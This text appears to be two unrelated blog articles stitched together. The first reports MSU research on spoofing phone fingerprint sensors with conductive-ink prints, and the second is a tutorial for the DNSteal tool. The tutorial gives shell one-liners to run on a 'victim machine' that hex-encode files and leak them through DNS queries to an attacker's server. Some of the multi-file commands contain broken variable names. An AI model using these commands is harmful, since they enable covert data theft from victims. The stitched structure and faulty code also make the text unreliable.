Hacking a phone's fingerprint sensor in 15 mins with $500 worth of inkjet printer and conductive ink

MSU Computer Science researchers Kai Cao and Anil K Jain published a new paper describing a <$500 method for using a 300dpi scan of a fingerprint (which can be captured from a fingerprint sensor itself) to produce a working replica printed with conductive ink fed through a normal inkjet printer, in a prodcedure that takes less than 15 minutes.

Biometric identifiers are the new hotness in information security, but have significant deficits as authentication tokens, including the fact that biometrics are intrinsically leaky (you reveal your retinas by looking at things and your gait by walking, and shed DNA and leave fingerprints behind everywhere you go) and they can't be revoked once they leak (you can't get new fingerprints when griefers dump your existing ones on the Internet).

People have been hacking fingerprint sensors with gummi bears for more than a decade. In 2013, researchers from the Chaos Computer Club (which had previously dumped 10,000 copies of a scan of the fingerprints of a German government official who'd pushed for biometric ID cards) showed they could create working fake fingers out of gummi that unlocked Iphones, developing a good generalised critique of fingerprint readers in the process.

Fingerprint readers have a legal deficit in the USA, too: though the Fifth Amendment protects people in the USA from being compelled to reveal their phones' unlock codes, it does not prevent the police from forcing you to use your fingerprint to unlock your device (the logic being that the Fifth prevents the compelled disclosure of something you know, but not the compelled production of something you have, including your fingerprints).

The MSU researchers' attack on fingerprint readers worked well on various Samsung phones, and less well on some Huawei phones. However, this is preliminary work; with further research the pair may well discover tunings and optimizations for each sensor's idiosyncrasies.

In summary, we have proposed a simple, fast and effective method to generate 2D fingerprint spoofs that can successfully hack built-in fingerprint authentication in mobile phones. Furthermore, hackers can easily generate a large number of spoofs using fingerprint reconstruction [3] or synthesis [4] techniques which is easier than 2.5D fingerprint spoofs. This experiment further confirms the urgent need for antispoofing techniques for fingerprint recognition systems [5], especially for mobile devices which are being increasingly used for unlocking the phone and for payment. It should be noted that not all the mobile phones can be hacked using proposed method. As the phone manufactures develop better anti-spoofing techniques, the proposed method may not work for the new models of mobile phones. However, it is only a matter of time before hackers develop improved hacking strategies not just for fingerprints, but other biometric traits as well that are being adopted for mobile phones (e.g., face, iris and voice).  

How To Send Files Stealthily To A Remote Machine Using "DNSteal"

Data exfiltration is sometimes referred to as data extrusion, data exportation, or data theft. All of these terms are used to describe the unauthorized transfer of data from a computer or other device.

Data exfiltration can be conducted manually, by an individual with physical access to a computer, but it can also be an automated process conducted through malicious programming over a network.

Generally, data exfiltration is a form of a security breach that occurs when data is downloaded or uploaded from a computer or server without authorization.These attacks are primarily intented so as to gain access to a network or machine's data.

Data exfiltration can be done using various method such as  by installing remote applications , removable media device , social engineering techniques or phishing emails.
But a new type of data exfiltration tool named "DNSteal" is released which is programmed to send files over to a remote machine via dns request.

DNSteal is a Data Exfiltration Tool that works  stealthily for sending files over DNS requests. Once install and run it acts as a fake DNS server that allows you to stealthily extract files from a victim machine through DNS requests.

Dnsteal code is available on GitHub.

Here's an example on how to use this tool

Usage:

On the victim machine, you simply send the following command:


for b in $(xxd -p file/to/send.png); do dig @server $b.filename.com; done


Support for multiple files


for filename in $(ls); do for b in $(xxd -p $f); do dig +short @server %b.$filename.com; done; done



It also supports gzip compression of the file to allow for faster transfer speeds, this can be achieved using the "-z" switch:

python dnsteal.py 127.0.0.1 -z


Then on the victim machine send a Gzipped file like so:

for b in $(gzip -c file/to/send.png | xxd -p); do dig @server $b.filename.com; done


or for multiple, gzip compressed files:

for filename in $(ls); do for b in $(gzip -c $filename | xxd -p); do dig +short @server %b.$filename.com; done; done